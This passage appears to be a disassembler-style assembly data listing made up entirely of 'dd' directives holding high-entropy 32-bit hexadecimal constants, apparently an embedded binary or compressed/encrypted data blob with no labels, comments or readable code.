		dd 8E00E523h, 0A866465h, 8F7D0797h, 0B9EE4162h,	0EBDE10C0h
		dd 1FF779C0h, 3C268709h, 430B217Fh, 6CC0DC6Bh, 740171CBh
		dd 62C76D4Eh, 36CCED58h, 0D80B006Ch, 0DB0391F0h, 0EF006348h
		dd 2533C99h, 3A075B1Ah,	1C00556Ah, 0A29064A1h, 97008CEBh
		dd 147BECB8h, 47499Eh, 0A7C159A9h, 0AA3C5667h, 6E0025ECh
		dd 0E03E3F6h, 1E1320C2h, 40D3BA12h, 850F6192h, 8000AED6h
		dd 3904223h, 3993EEFh, 8BCCF49Ah, 0BB9801DDh, 0D81C153Bh
		dd 8A80B93Dh, 5F9653BCh, 169C0610h, 5938DD12h, 0A2E98200h
		dd 51811455h, 3AF84CC4h, 7F7713h, 11C189E8h, 0EDDB488h
		dd 0EB1F3A00h, 3CDC892h, 0C404AC3Eh, 72C0933Fh,	1A00862Bh
		dd 0BA0D9C3Ch, 606A1355h, 0D41208A6h, 630088E3h, 6C7FB975h
		dd 0DD17A0h, 9242152Ah,	1A5AE0F2h, 0A8888100h, 5789170h
		dd 0E1D7302Ch, 0DDF5479h, 25DC7518h, 9686B9h, 0D81E29B7h
		dd 999B5973h, 0E8C33Fh,	28ECA1BEh, 32365FCh, 89635D68h
		dd 0C8001AE9h, 2AA60DD4h, 306110ABh, 0DC512631h, 0A034699h
		dd 26B1539h, 0E41800ABh, 0DBFA8322h, 0DE0CE768h, 301E3D6Ah
		dd 30920055h, 0B84A1319h, 0FD1FA03Eh, 1000CF94h, 3ABDC0EBh
		dd 8DE13D23h, 811B7B1Eh, 0AD82A65Ch, 0AEEDC8B1h, 0E0AAFCEFh
		dd 0E210B265h, 0A9B0047Eh, 10C05C58h, 131D3C5Ah, 0B9E600B8h
		dd 15ADC34Dh, 0A80053DAh, 988BA9F7h, 7059E150h,	0AD29C80Eh
		dd 2255CB42h, 68228C9Fh, 42512219h, 24601B22h, 6A9920A3h
		dd 8458112h, 0B75D44A5h, 8861FA84h, 2E8143E9h, 4C9670h
		dd 4E3191C2h, 0B253997Dh, 0E9CDD324h, 89551700h, 9B508Dh
		dd 4DB81D54h, 2A40137Eh, 465A8400h, 518598FDh, 0FF4C5h
		dd 1B104475h, 25DEA57Fh, 0E14DFA00h, 3EC6915Dh,	822200FDh
		dd 9957584Ch, 8FF6C328h, 8EA97403h, 0A8A53CB1h,	9C26AEh
		dd 7967183Bh, 0FC212B47h, 2073FB00h, 89F93A4Ch,	0C0065460h
		dd 0F2EA00E0h, 498F2F8Eh, 3C003320h, 0D12B274Eh, 7E31C586h
		dd 0C2EB006Bh, 0D8C7F8D3h, 0E100FD45h, 22389065h, 23D9B6h
		dd 9D523001h, 1A6682EDh, 0FFD77D00h, 40BEF634h,	1F410C07h
		dd 6BD8F777h, 0E9C44D00h, 70DC54CAh, 1A8D0CFFh,	8810C9ADh
		dd 969A1700h, 16A91EB8h, 98DA4914h, 5ECCFA1Fh, 80069E72h
		dd 1843D6C7h, 0E3001354h, 0E3427FFh, 0CC7F6Ch, 0DBF9F3C6h
		dd 55DBBF8h, 6909A500h,	6737CD7Bh, 7DE8009Ch, 24406AA8h
		dd 5400AC48h, 14899D60h, 9AEAEFh, 80D1B228h, 7DBD9868h
		dd 0A7FF9701h, 0DD79C0FAh, 9D90D8h, 3FB76FE5h, 0EC0A42B3h
		dd 0C0D53130h, 453748h,	6575784Ah, 0C8ADE50Dh, 2F3CE200h
		dd 47E964E6h, 0D28A00DAh, 5E220C9Ch, 0D50037C6h, 665C8B4Dh
		dd 1FCD527Fh, 5542A9Fh,	1451CAh, 0FF1BEAD4h, 0A3008E88h
		dd 0F5386A1Dh, 1DE782Fh, 0B35C337Bh, 0D4AB4862h, 3B0030F4h
		dd 613A1E64h, 1DC1E70Ch, 0C7A8BDB6h, 0A9D65C41h, 0DA90A02h
		dd 9A31C880h, 0EDF0FA34h, 0D199021Fh, 0DB871A00h, 954138h
		dd 766765E3h, 0FE36CFDAh, 0A0028B00h, 0F6EF9703h, 7FE2094Fh
		dd 0E30244C4h, 2C40ECC2h, 5403707Ah, 86AD4C99h,	0A0687AB3h
		dd 74E408A8h, 6AE6EDh, 7DC1D597h, 0AC84C3B6h, 0C60D5500h
		dd 6552473Ch, 5402009Ch, 3DB379F7h, 0A20EB19Ah,	0FE5F1B2Dh
		dd 0A4AFE903h, 4027A24Bh, 0AAFE44h, 49927F37h, 6B0BCE3h
		dd 0B7F2E000h, 819593DDh, 0D35B0041h, 0E98B28C1h, 923D74B1h
		dd 4015007Ch, 8F84AF2Ch, 0B073000Eh, 6CE3381Ah,	0E700A3A6h
		dd 968EE441h, 1281FDF3h, 0B67293h, 762EDC48h, 360069A1h
		dd 48943038h, 0BFF666h,	0CEEA686Ch, 19891F73h, 0B9004773h
		dd 0A713D223h, 764BF9EBh, 81744Eh, 52919F6h, 0C1917809h
		dd 4971800h, 0D92DD83Fh, 34D10187h, 1C1BFAE1h, 656C7056h
		dd 23D47C00h, 2EC0FB7h,	0A5041376h, 9B1447FBh, 0BBE598h
		dd 0DFE028BFh, 8F00CE47h, 0C7FD3079h, 0F669217h, 0DE0590A5h
		dd 0E7DA7727h, 0D8E57F4Bh, 99EC0E47h, 2A148861h, 860600EFh
		dd 0F51180EDh, 80B9CE28h, 3003FD0Eh, 46CB60BEh,	4826AF54h
		dd 5E0044E5h, 0A481D622h, 7D01669Eh, 93DEAEF4h,	4ACC5A4Dh
		dd 7CF0BFh, 0FDE9D2E5h,	0D87E6FC0h, 942A190Fh, 4F63E011h
		dd 8C8799h, 0E5380316h,	9729D5B8h, 2AAA500h, 0C9EAC2F3h
		dd 0DEF0036Fh, 0BF73010Dh, 62A12100h, 0D0E0A71Dh, 0BA480004h
		dd 92677E02h, 0E1136FA8h, 144E1A16h, 5193C035h,	0FC88E9h
		dd 1B55FBF4h, 918582B5h, 0D63018C0h, 1DA163F9h,	0C03E4B48h
		dd 0FB065304h, 0A5008610h, 0DE6A431Fh, 0FABDEBh, 711C70B3h
		dd 4B02D49Ah, 0E9F66B00h, 0BF998C80h, 2E380E1Dh, 9B403C82h
		dd 15B306C5h, 76A9A100h, 16B1869Fh, 6BEADBh, 30DA8413h
		dd 0C6E158Eh, 0A3C4AB2Eh, 0F14B6900h, 50D72Fh, 0E66F53F5h
		dd 46C2CA8h, 3CDC5D0Fh,	18B5C0A1h, 342490h, 0AE558CDFh
		dd 9FAAE52Dh, 0D32C6500h, 84D4C8A1h, 8E2E07BFh,	0D0890B02h
		dd 0A6B61D7h, 0CBCAF107h, 4800FB2Fh, 1D720Dh, 9374B97Bh
		dd 0AE816C53h, 7A02948h, 0D4ABE403h, 79CB8F0h, 9EEE00A4h
		dd 7169E3AFh, 0CF001263h, 5C7A9B56h, 0AB1EEBh, 605A7CE9h
		dd 0A654B3CCh, 853F0312h, 456F2C00h, 751B11h, 9BA05BFDh
		dd 0A5CBE1ABh, 7AE5BF07h, 63A1E0B9h, 34D4A230h,	0E63F13D7h
		dd 0E2884005h, 6B37190Ah, 0C0E35F80h, 22CD9298h, 4A58C131h
		dd 3E87041Ch, 2CC0C91Ah, 2ABB19Bh, 209EB030h, 0BDC012BEh
		dd 0C601248Dh, 0E684E1D6h, 0BC300AACh, 0B0794DDEh, 0C1611Dh
		dd 8262296Dh, 78005E03h
		dd 992506E6h, 7F28839Dh, 0DDA80063h, 0BA31A38Dh, 0F63D5E95h
		dd 8155000Eh, 651F50EAh, 88044C74h, 75EEF50Eh, 12DC0072h
		dd 7B07A389h, 0BF8ED21Dh, 0E009C687h, 43354760h, 7ABA00ACh
		dd 6F28F7AEh, 1037957h,	7C7E26A0h, 52BD80Ch, 7FEC8Fh, 3C4A70B5h
		dd 957A3FBh, 208D4D00h,	9C49876Fh, 0D62B0059h, 0D29224ADh
		dd 78009006h, 0A55812C1h, 744334h, 0CF8A6015h, 0AE5C29F8h
		dd 18DB7D00h, 0A0204409h, 7BD80190h, 0B0BFC19Fh, 0D6DCCC2Fh
		dd 740AA600h, 1F9EE518h, 960E0702h, 0B1216495h,	0F91CBE6Dh
		dd 6A850C4h, 9E009C38h,	0F8A98EBAh, 0CC1154h, 0DFE54ACEh
		dd 0E140EED7h, 12CBD60Fh, 7A7040B1h, 389CD5h, 0D9CCFDC2h
		dd 0C8CF0D57h, 55957C04h, 5D42AC32h, 98E66E33h,	0CB28C001h
		dd 0E6922620h, 1667A2D0h, 40E5FA99h, 19AB1B3Ch,	98005C76h
		dd 4D86851Dh, 0E481Eh, 8B3D20F9h, 4A21E226h, 1200EF7Ch
		dd 9EC56C76h, 9EA061Bh,	0B4F67F3Bh, 92DE3C10h, 0A679651Eh
		dd 0FE358B80h, 0D92BBBh, 1B6F9920h, 0E07377D0h,	8C0BC002h
		dd 8709FCEFh, 3608E88h,	16C8226Ch, 20DC6E11h, 0A047AFE8h
		dd 80B4773Fh, 347830ADh, 7F2318BFh, 0F35FA5Eh, 0DCA17A65h
		dd 3800A5A9h, 0E7D52F20h, 0BE0588A8h, 3042E845h, 0D083E0EDh
		dd 0DAF20056h, 0BF7A5E19h, 500B901h, 638D917Fh,	143ECE1h
		dd 0BA71D420h, 289E7E3Fh, 0ED82010Ch, 2C7F3D63h, 7357803Eh
		dd 0F158311Eh, 92190F0Ch, 0B9AC3ACh, 6976F85Ch,	0D1F6B3h
		dd 0F8F1C7E0h, 0FE26EA7Eh, 0F8BF21Eh, 8F28164Fh, 9136C09Fh
		dd 2A9767h, 5052DD63h, 34237A5Dh, 80CB2F39h, 14F0A359h
		dd 3F276294h, 3784F2D8h, 0C0200E69h, 6C431886h,	0E0159700h
		dd 57D87C3h, 93C0135h, 0E1233642h, 0A6D8C720h, 0F800C9D0h
		dd 767C5DE4h, 2CBB7Ah, 50448614h, 49A81AFBh, 250043E2h
		dd 1EF3682Ah, 1E48847Ch, 0B6085FEh, 70A0B5C9h, 62A59225h
		dd 0DBF88B12h, 0F7002856h, 0C0982707h, 71C7DC7h, 0B43CC88h
		dd 0E062B340h, 0FD42E8F0h, 26B0CA13h, 35AC01BBh, 0D81FC4A1h
		dd 5B0002C1h, 0BE66D14Ah, 2C526Ah, 0AFACE4AAh, 0A9307B0Ah
		dd 11009C96h, 0A83A0BA7h, 0D572003Dh, 59ABB8DBh, 894EF3F5h
		dd 9997281Dh, 50954400h, 56C304h, 0E34FCF6Ah, 26CAEAC1h
		dd 80ED9300h, 0A58E28E7h, 2F690033h, 0AEDCBC77h, 1B74C038h
		dd 951A71C0h, 4B5D5590h, 0B13C00CAh, 0C6DFFE38h, 0DC9E0E0Fh
		dd 0C04FA1EBh, 43C83E29h, 0BE4C0EBBh, 0C012A715h, 24E98534h
		dd 0E3682F07h, 50518497h, 5180515Ch, 33FB7648h,	0FC00E6BDh
		dd 92C1B2EDh, 2D39E0h, 0DF3AB096h, 175189F4h, 21BCD200h
		dd 9A9B6A61h, 4EF100FCh, 0F3547E07h, 7360376Bh,	3BFED70h
		dd 1202E6C3h, 44FB7544h, 0A0F68164h, 0DCA8F2E0h, 0E800EF71h
		dd 62F73192h, 1D0442E7h, 4132B985h, 9B0B2BD5h, 0C905FBC7h
		dd 0AEACE3BFh, 0A41D8C01h, 1880E185h, 1E05DB26h, 0BE000371h
		dd 14AB341Bh, 7BD87BDEh, 0BCAF3857h, 0DF5CA880h, 772B3874h
		dd 0F309BE90h, 2423E68Ah, 970E042Ch, 0BD7FFAA0h, 3916A6CCh
		dd 5C00F777h, 0E0DA133Bh, 0C46A1E06h, 2F300FEh,	4399CBBFh
		dd 18985219h, 5023EF49h, 71C39C80h, 61B8298h, 0B019E7DAh
		dd 0D1700Ah, 7D0E365Fh,	0DE886461h, 0CC3CB50Eh,	1AFE2065h
		dd 52D4A6h, 4ABA4E2Dh, 0AE9C9320h, 0A9D26D00h, 1488AD27h
		dd 0BB951F99h, 62CD8055h, 0AF2C4BFDh, 0E61A3000h, 47C7E3DCh
		dd 0BD4F0553h, 432FFC74h, 0D6CCD9D4h, 884AB92Ch, 7D758200h
		dd 1B60A1h, 0E57B64B6h,	3BBCFD6Eh, 185648h, 223C162Eh
		dd 60FB781Ah, 24A0C898h, 0FF0780A9h, 7B380125h,	19F01037h
		dd 3D9BC590h, 38E26404h, 90A0BEC1h, 4E634AE3h, 80F2893Ch
		dd 0AFC2A490h, 4C3B1455h, 6A002D7Eh, 0E18FCC46h, 0E9E29EE4h
		dd 0D7CF5A00h, 20477CA3h, 52D30015h, 4F73E3EDh,	0C8CEEF55h
		dd 3178A5FDh, 3F440280h, 2E4C03CFh, 58DDEA25h, 93FAEDD1h
		dd 0D0771828h, 3A533850h, 0C5440740h, 60306760h, 7EC7AF0Ch
		dd 52127001h, 0B9A81F97h, 77A926E8h, 0A45B008Dh, 9212854h
		dd 0FA004E29h, 9CB7A0FCh, 3971D18h, 6D42D19h, 94A04071h
		dd 0FB3FB34Fh, 0FD17007Eh, 0EA3A89F9h, 2A62E0BCh, 4ACC263Dh
		dd 0C3F02799h, 51E8AEA6h, 53271785h, 372C80FCh,	0D4F22Fh
		dd 2EB46DD8h, 0F41358E5h, 0A5DB7C00h, 322D1781h, 5CEC008Eh
		dd 476EB31Eh, 0C333AA0Ch, 0A4977837h, 3520A097h, 3D339ADCh
		dd 0FA254F31h, 0B2016896h, 3DA4039Fh, 60249445h, 987357h
		dd 0DD2FD9A2h, 7169BC34h, 0D7088C00h, 231A726Fh, 0E4200011h
		dd 2409DD1Fh, 0AC006188h, 0B6BA595Ch, 3E2830Ch,	0D604B152h
		dd 968087C1h, 3E00D0DDh, 0A7AB1745h, 3BC9F097h,	0C80CF15h
		dd 89DCD539h, 73007CBDh, 4DAC564Eh, 79056252h, 22B40EB3h
		dd 7C23D5A8h, 0A6B8CFFBh, 0C50097FAh, 0DABF8499h, 353AC0h
		dd 0F585583Dh, 2F08255Fh, 40BCCD50h, 1AFAFF00h,	0B4DC0AD3h
		dd 2A2C0FDBh, 2EA00DAAh, 6547964Eh, 2B8EFD08h, 2B500DDh
		dd 1FDE5D1Bh, 4426A230h, 0D8FA5h, 0DD6B7DF9h, 0D89718CFh
		dd 0E3003DFEh, 7C1D87D9h, 0E6957308h, 4EDE09DFh, 58409FA4h
		dd 960FA3A9h, 0E083A2B8h, 0AD0C9D3Bh, 58E8C9h, 0F1FE6CE0h
		dd 96E7B5EBh, 0D3EC8D14h, 11F3FC4h, 53A2F4AAh, 0EED49334h
		dd 12C098CBh, 1ED6A1CEh, 77CD4758h, 1630C00Bh, 0BA48B396h
		dd 0B5660024h, 1203B8D1h, 0DC510024h, 0B92F7A1Ah, 984B933Ah
		dd 2F77FF0h, 54C9CC20h,	44D0C185h, 0EC8EA526h, 0AE00DC28h
		dd 78B54471h, 0AB698Fh,	0B18968A0h, 5109D5BAh, 0D382EF00h
		dd 0FFDC5F3Bh, 84600A9h, 0D64EC187h, 9F0FDBF9h,	405177F0h
		dd 0D35D3A50h, 0B5CB0FB2h, 0EFE13879h, 20B404E3h, 0FC00EB56h
		dd 622FBA4Fh, 0E67A4B49h, 8D8C00F2h, 473303FAh,	70069978h
		dd 34771F4Fh, 0F8010010h, 4DC09CCBh, 0AF02DED7h, 0B7BA7DA3h
		dd 6535C127h, 0B8EB1AFDh, 0A08C725Bh, 926701ECh, 0F35D0990h
		dd 0E387C8D9h, 0C4E9A278h, 7DB18048h, 5E69170Eh, 0B4C8CFD4h
		dd 40B61C88h, 0CECCEAC0h, 98ACDh, 0AD69EC57h, 1E36D8E2h
		dd 87430E03h, 0FCEC5AFh, 92470859h, 0FCF92100h,	0F7F03909h
		dd 80A4EB00h, 0C9751A54h, 7F553A57h, 0FADB3Bh, 0FD01DE0h
		dd 0DE850306h, 0AAFBDC00h, 761C5CE6h, 0A89028h,	0B7C246AEh
		dd 50DE26D8h, 0B1E80300h, 0E3E5B69Ah, 86B30160h, 0AD6E4A4Ch
		dd 6692607Ch, 12CA509h,	0A6D8610Fh, 318070h, 0F5EFFBE8h
		dd 1893303Ch, 86A90200h, 33388FDBh, 0EB3400BFh,	95AC6380h
		dd 0D498145Dh, 8337C202h, 6127C1D4h, 1C7031D7h,	0E7012807h
		dd 0E4FF0EACh, 0A684EBEDh, 85B48012h, 6E039057h, 77CAA5C6h
		dd 786E9EDAh, 442324FBh, 80B61F58h, 0B41CC8A1h,	0DC0754F8h
		dd 238AE631h, 16A9A3B0h, 0A4244D07h, 909A2F02h,	0D8A9A78Ch
		dd 0D439ED00h, 0E80071FDh, 1EA6E9B8h, 4F9D57h, 0B364D6BFh
		dd 87C02E22h, 0C539D776h, 0B257003Dh, 7B7F1BAAh, 6F0D00FDh
		dd 12F6F80Bh, 21160E53h, 6420B9CCh, 2E638157h, 8054D019h
		dd 62B2A71Ah, 1F1CBA5Eh, 54047551h, 0C280CB16h,	9A080C8h
		dd 9FB806BBh, 3620B000h, 3D18C7F4h, 0A559CD85h,	42B7001Fh
		dd 0B46E614Bh, 0C405C279h, 40F12C75h, 0E93EF400h, 61FD82FBh
		dd 7184104Dh, 0E36DC0C9h, 6345D400h, 2BCA6153h,	0B61900C6h
		dd 5811FD5Ah
		dd 4B00761Fh, 0A501A9DDh, 38923FCh, 6AA03937h, 2FE8E2E6h
		dd 15000BF4h, 51B33024h, 9CE89Ah, 2BA239FAh, 0AB81B982h
		dd 11037870h, 42020490h, 3F50D08Ah, 288500B3h, 363E1506h
		dd 0DE0059C0h, 0AB144FA8h, 7A653261h, 46DF00AAh, 0CBD172F0h
		dd 8C0118AFh, 8F313CE0h, 0EFC5193h, 552503B7h, 1C4C4798h
		dd 9FE244A0h, 0FB0A350h, 24B02700h, 407ADF16h, 0D5703Ch
		dd 489466Bh, 0BB1C593Fh, 1D00204h, 1CF05403h, 0F2A00026h
		dd 0CFAA8DAEh, 0D0060B57h, 4E837FC7h, 22CD02D8h, 996CE191h
		dd 0B102A858h, 586D0812h, 0C484E815h, 0E8B00E3h, 0EA321E11h
		dd 0BEF4FBB7h, 88838F00h, 577194D0h, 0EAC00E9h,	0EE223870h
		dd 6412BFB9h, 5C091F5Fh, 9C3F0384h, 26C2D0C6h, 0D0580BBAh
		dd 0E081D385h, 20EF820Eh, 1920FE68h, 0CBB82FB1h, 1093C430h
		dd 80904369h, 17E6278Ah, 638D005Ch, 0EB4E62ECh,	7EFC86DEh
		dd 0FB770A00h, 234F998Eh, 4A40306Bh, 0C764F138h, 80296C2Eh
		dd 6102D50Fh, 3C8C0ED0h, 0C1EEC4h, 44CE6B86h, 0C8543F72h
		dd 0DB00CC90h, 529E03F2h, 0EA2459h, 0C65650B6h,	0F7ABF541h
		dd 0E804FE00h, 0D343C910h, 74F1009Ch, 365D5E58h, 9017BB0h
		dd 0BD1960Ch, 0D6C49B1Fh, 3B3700EFh, 38B55A43h,	0F3B8F931h
		dd 16BD3300h, 98742119h, 326A0049h, 87DEF80h, 8F00AB18h
		dd 0D7BCE912h, 2E10867Ch, 84F04405h, 816921F1h,	6490C996h
		dd 0A9099830h, 8FCC6B06h, 0DF5220CCh, 0EB997584h, 74001C78h
		dd 2AA7240h, 7D01385Ah,	0C7C384A7h, 0BE60DDC2h,	23DC0F6Dh
		dd 2CA008E4h, 5685A871h, 30984Dh, 62D6B50h, 0DD204Fh, 3680723Dh
		dd 4D969465h, 196D2705h, 0CC07C77h, 39C6450h, 8391EDD8h
		dd 27906023h, 1B01F9A0h, 0A2D20ADEh, 0A068CBA6h, 16BBDBA0h
		dd 3FF8A302h, 58EBD233h, 0A19600B0h, 9DCEC07Fh,	11006B9Ch
		dd 3CCD4C08h, 7223697h,	80148925h, 9BE0AE2Ch, 18345D2Fh
		dd 0FC3E3Eh, 6DB3618Eh,	0F4201F73h, 0B99900A4h,	0FD3AE156h
		dd 0BE0BEED3h, 8F7A6F37h, 0DF0C4088h, 0C0832BAEh, 55249851h
		dd 250084D2h, 0C0533431h, 0EEE5B0h, 7C48212Ah, 6A600D93h
		dd 0B21BBB71h, 0A33AF3BDh, 0A79F0D6h, 0E7D0048h, 4A22BC89h
		dd 84A8E050h, 802DFE95h, 545838h, 0A5F88F35h, 1D9CDA90h
		dd 9FB9E500h, 863D3C63h, 0ABD00CFh, 485C4660h, 2A00832Ch
		dd 61439C58h, 8D3250h, 0BFB6D275h, 0E01846DAh, 2A940107h
		dd 2C958FF1h, 1E5D1C90h, 0BFB00A7h, 0C3BAFD2h, 0D0009E24h
		dd 0A4306880h, 7FA246h,	0BBFF1BE8h, 0ED35792Ah,	73391F07h
		dd 0BA505E3Ah, 12D68367h, 0C4560Ch, 0BB0BE668h,	2D2E6A93h
		dd 0FD005A71h, 0E71F23B1h, 0E9CA0006h, 18F44275h, 4C0A82C9h
		dd 0E408C89Ah, 0CBE20B3Eh, 0CCC70081h, 0A3F0B0h, 2574BB42h
		dd 0DC1461AEh, 7DB89069h, 0DAA05443h, 2D663723h, 0BC3061D1h
		dd 10280024h, 4032658Eh, 3BE38D48h, 0EE910014h,	56312D9Fh
		dd 0CE1200BDh, 42D3B45Fh, 400E2E19h, 815A81BBh,	0EE7530C7h
		dd 3CFF1560h, 48607E20h, 5FF8FB4Eh, 59534900h, 56BD68C8h
		dd 85780E96h, 0A160B807h, 8F9559Eh, 7CEF7500h, 0CC97C74Eh
		dd 98F4188Ah, 31523836h, 0E27A9A12h, 4B40C887h,	7FAFF8FAh
		dd 0E7F11DA5h, 610C059Dh, 0E668000Dh, 0ADC6DEE1h, 462ED100h
		dd 4711274Ah, 23F713AAh, 0B3F3000Dh, 0A8B179D8h, 1519170Eh
		dd 0AA20027h, 0E13ADF4h, 0F13094F2h, 70237EE0h,	82A33933h
		dd 729329D0h, 0EE941B00h, 15E3699Ah, 56F63DE9h,	48D27E73h
		dd 4D001E20h, 0FB01C3A7h, 5A07AA9Eh, 5D520D97h,	0E2DB4710h
		dd 37DD183Ah, 0A019EC04h, 0A1228603h, 0C778D0F2h, 0DB58D890h
		dd 113D00A8h, 4A4B51C6h, 940E4FFEh, 406D1240h, 5DEC1BB8h
		dd 0F9B960DAh, 70E30E4Dh, 8E073270h, 8CB82ECDh,	21AF46h
		dd 11E3017Ah, 1088808Dh, 16A5DC00h, 0EC7906B8h,	0B0059702h
		dd 96B440BCh, 0D26F50CDh, 0A42D8500h, 53060536h, 22440072h
		dd 0FC4526CEh, 31C69FAFh, 1695DDAh, 0B13A9348h,	0CCF8F177h
		dd 9B3F3DB6h, 8E3506BBh, 929AAD4h, 51B029EFh, 0E3FC100h
		dd 0B3CC25Eh, 673A0018h, 48271A24h, 1237FC83h, 874CACh
		dd 0EC125E30h, 0AD0C54E2h, 81CBAA0Ah, 3BB62492h, 597309ACh
		dd 587B5C03h, 2100A5A3h, 0A33B6A71h, 0D7DC4Dh, 157E16EFh
		dd 940F0A41h, 0F8C2E49h, 7CDD1D4Fh, 0E133B680h,	1823687h
		dd 0EC38EF1Ah, 94B81754h, 23C0B251h, 0E30C005Fh, 8DD03252h
		dd 68A24486h, 3AE30700h, 0C8AA172h, 0AEC40019h,	0F0EF6270h
		dd 0E0C5F590h, 0D820A9D9h, 66CC42h, 3950C8B1h, 64DFBFD6h
		dd 0C01F9400h, 5F2AC231h, 2D2F1ECFh, 3837F08h, 0FBE57CE2h
		dd 4DAD4000h, 7DB50B3Bh, 0B9AE0C5Dh, 30086D7Ah,	0BB076496h
		dd 4F100B52h, 70995Bh, 3210980Ah, 57A7DC29h, 0B02CF701h
		dd 0BF6EC650h, 0F1EB1080h, 18FFE891h, 4F87A100h, 8BF25CF9h
		dd 14E1029Ah, 156F3AB6h, 865BE81h, 6989D838h, 8110B003h
		dd 0A80F5EB8h, 0A77391h, 6DB461C4h, 2C82BE97h, 2F19FAA0h
		dd 9EAADD00h, 6F73DCA9h, 0FA4E0050h, 8B75E306h,	18C0BD8Ah
		dd 5FF5AB4Fh, 76A73EE6h, 0C29E2B10h, 24A81F83h,	0FA13319Ah
		dd 2186B608h, 0B211E093h, 6218C448h, 3C8D182Ch,	7277251Fh
		dd 7801AA06h, 0BCDC0008h, 949AA6FEh, 0A2302BB0h, 0CA471870h
		dd 63301E81h, 287BCC88h, 60282150h, 38001C5Bh, 0B04B2FBEh
		dd 3CBF7C8Ch, 0FB1FB659h, 31F51FB1h, 173DA70h, 23E14197h
		dd 480887E6h, 20CD2682h, 7CAB45AFh, 0A40ECB00h,	0D658DCDAh
		dd 25C9C3A8h, 5ACE3FFh,	0AC400B1Ah, 440AC34Ch, 1F91830h
		dd 748E9985h, 61D25600h, 184AD1FAh, 30240019h, 8F28693Ch
		dd 0DB0BCE78h, 8F0453D8h, 4FF6A09Dh, 303C732Ah,	4791203Bh
		dd 69DF0DFAh, 9BCE00FEh, 0EDBF40B6h, 7AF7D3Dh, 243FC943h
		dd 0F330C078h, 18CE3C52h, 235000ABh, 11351E93h,	3DEB4Fh
		dd 75DAFB12h, 406328B6h, 840FA194h, 2CFF3B47h, 2C07E008h
		dd 0E58A5DDh, 0E3C524A4h, 88880267h, 2127B98Ah,	0E1282F0Fh
		dd 0AA2EAB82h, 19B18C03h, 0F721E0F6h, 2C3ECB24h, 0A8221E24h
		dd 1CE2833Fh, 12569835h, 8DB8CE00h, 7F5B6Dh, 258DBD3h
		dd 4A1244Bh, 4F1CA600h,	0FCA0147Eh, 0CFD80354h,	19FA027Ch
		dd 231704F0h, 6C0B6705h, 0D1813FB8h, 92F0A4B7h,	0F26A12D4h
		dd 9CD800FCh, 4E77F1FFh, 80486F6Fh, 0A86AAE05h,	0D3741C28h
		dd 0D2107006h, 480052F7h, 0C8F35C9Eh, 0E8F27885h, 0D021C00Bh
		dd 1E0452AFh, 0C6661200h, 0A5F5364Ch, 0F2604087h, 8B62E30h
		dd 0EFC705h, 0BA2743ADh, 0E2E8035Ah, 38A81E60h,	6757A00Fh
		dd 0A08A89F0h, 0B3727CFFh, 4B120C07h, 784F19C3h, 0C0B021h
		dd 365ACEFFh, 1D828806h, 185924A1h, 0C5FF24CBh,	1124215Fh
		dd 80B338EDh, 5203D7FFh, 15CD54h, 0A4D3340Fh, 0AB35041Ch
		dd 1E8B3C1Dh, 9B00A596h, 95CACF8h, 0A7740097h, 3DF958A8h
		dd 0DD008540h, 11800765h, 33772Ah, 2143C066h, 0A5E108B7h
		dd 49C4BE00h, 185B17C1h, 0BD22005Ch, 0AA9C43F4h, 4C0068A4h
		dd 0ACB57861h, 7034D67h, 59FD20B9h, 0D4976017h,	9200D387h
		dd 885CBE0Dh, 1645A6h, 0B11242D5h, 0E2E106D6h, 174ACC00h
		dd 0B7AAEDF3h, 0E680037h, 0F870CE87h, 4A7EE8Ch,	0BA3118DCh
		dd 0DDB11064h, 418E663h, 65449066h, 129D0717h, 0CFB9A979h
		dd 0B1729EE0h
		dd 8706EC64h, 0F2CD0367h, 42894429h, 5ADF0600h,	0BFFD21F5h
		dd 198D00E8h, 38F98473h, 650025D9h, 0A0FAD657h,	1A333Dh
		dd 0BAE35E52h, 54CF68F5h, 0F6612800h, 8A49D546h, 0A7FA006Ah
		dd 0AE9A5D8h, 0A41DCACEh, 0C8965498h, 0AF20F603h, 5727D1BAh
		dd 33E9DE0h, 8B40AA71h,	0B0971018h, 708C516Eh, 30AFDE00h
		dd 880BBAB1h, 0D1F0003Bh, 0C773A7E8h, 13E2633Dh, 780065E0h
		dd 0FB3662B2h, 0B02AF8h, 0BD93955h, 0D650D7A1h,	370090F8h
		dd 14AD099h, 77F50DA8h,	0CECD1F16h, 677140F4h, 0A3C0F798h
		dd 2687C11Dh, 3EF1F08Fh, 0EEB9F2C0h, 2871DCh, 0FFFD88EAh
		dd 9D1FC837h, 5D1D5A07h, 3BA7369Ah, 0B3F0CD90h,	44280087h
		dd 0BF086E15h, 61004FF4h, 0B7BD9353h, 1E756C9h,	6E14EC67h
		dd 0EC6D9603h, 0BC00FB2Bh, 12E5F281h, 0E9AC7F38h, 0F62EF88Fh
		dd 0DB6544h, 3E63A94Ch,	367255h, 2C15B3F3h, 9BB8FBAEh
		dd 11A6120Ch, 983810h, 246E9ACDh, 45B79343h, 709F8100h
		dd 0B0F2E2D3h, 96E00088h, 0C0E87803h, 0D10E3451h, 0B29DE323h
		dd 1E6E3440h, 1D6156F1h, 303186F2h, 746D7858h, 27533500h
		dd 0A2E5CE8Dh, 0B970073Ah, 4EAF039Ah, 3249F040h, 589282CCh
		dd 0C3761D7Dh, 929ED302h, 603179D0h, 17F1D7h, 0BA62FBE6h
		dd 0D3204176h, 0E700FC77h, 2F0A0DD0h, 0FC2B7058h, 780439D4h
		dd 0C0B32D1Dh, 0DC3071D2h, 5700CEA9h, 180E3DEEh, 0FC20646h
		dd 0C62701BDh, 12A95D80h, 0F4018C26h, 2ACAD17Ch, 7ED02D9Ch
		dd 63B60C13h, 0CEA0FBCCh, 0BB774001h, 4DF3F991h, 0F4239AE4h
		dd 0AB1A1D6Eh, 0E1D9C076h, 0C8DD9CB4h, 0EBD5BD00h, 534BA37Eh
		dd 0D43D0080h, 0B5D7068Bh, 8FF2D848h, 0F182230Ch, 30E860h
		dd 84DE2AE0h, 0F7C71CC6h, 30886E30h, 0AA0DAEEh,	0DC38309Ah
		dd 0B5E305F0h, 0A1904032h, 85CF1A2h, 9DD5B200h,	0B5ACB4B9h
		dd 0CEC2006Fh, 5145F560h, 1752EA1Dh, 0A42903B0h, 0A00BF7E1h
		dd 79AF8D57h, 0B8490126h, 0E53ABC80h, 781C308Bh, 203FE100h
		dd 4E5D3CE9h, 5A2A0030h, 88B77607h, 7A02EF3Eh, 0F90CAB8Bh
		dd 0A0FC80B5h, 18C073D5h, 0C14F54E5h, 7E03938Bh, 0F96E6340h
		dd 5B2806B7h, 0D1E06BCEh, 4F1A8300h, 4611914Bh,	0BDEA0066h
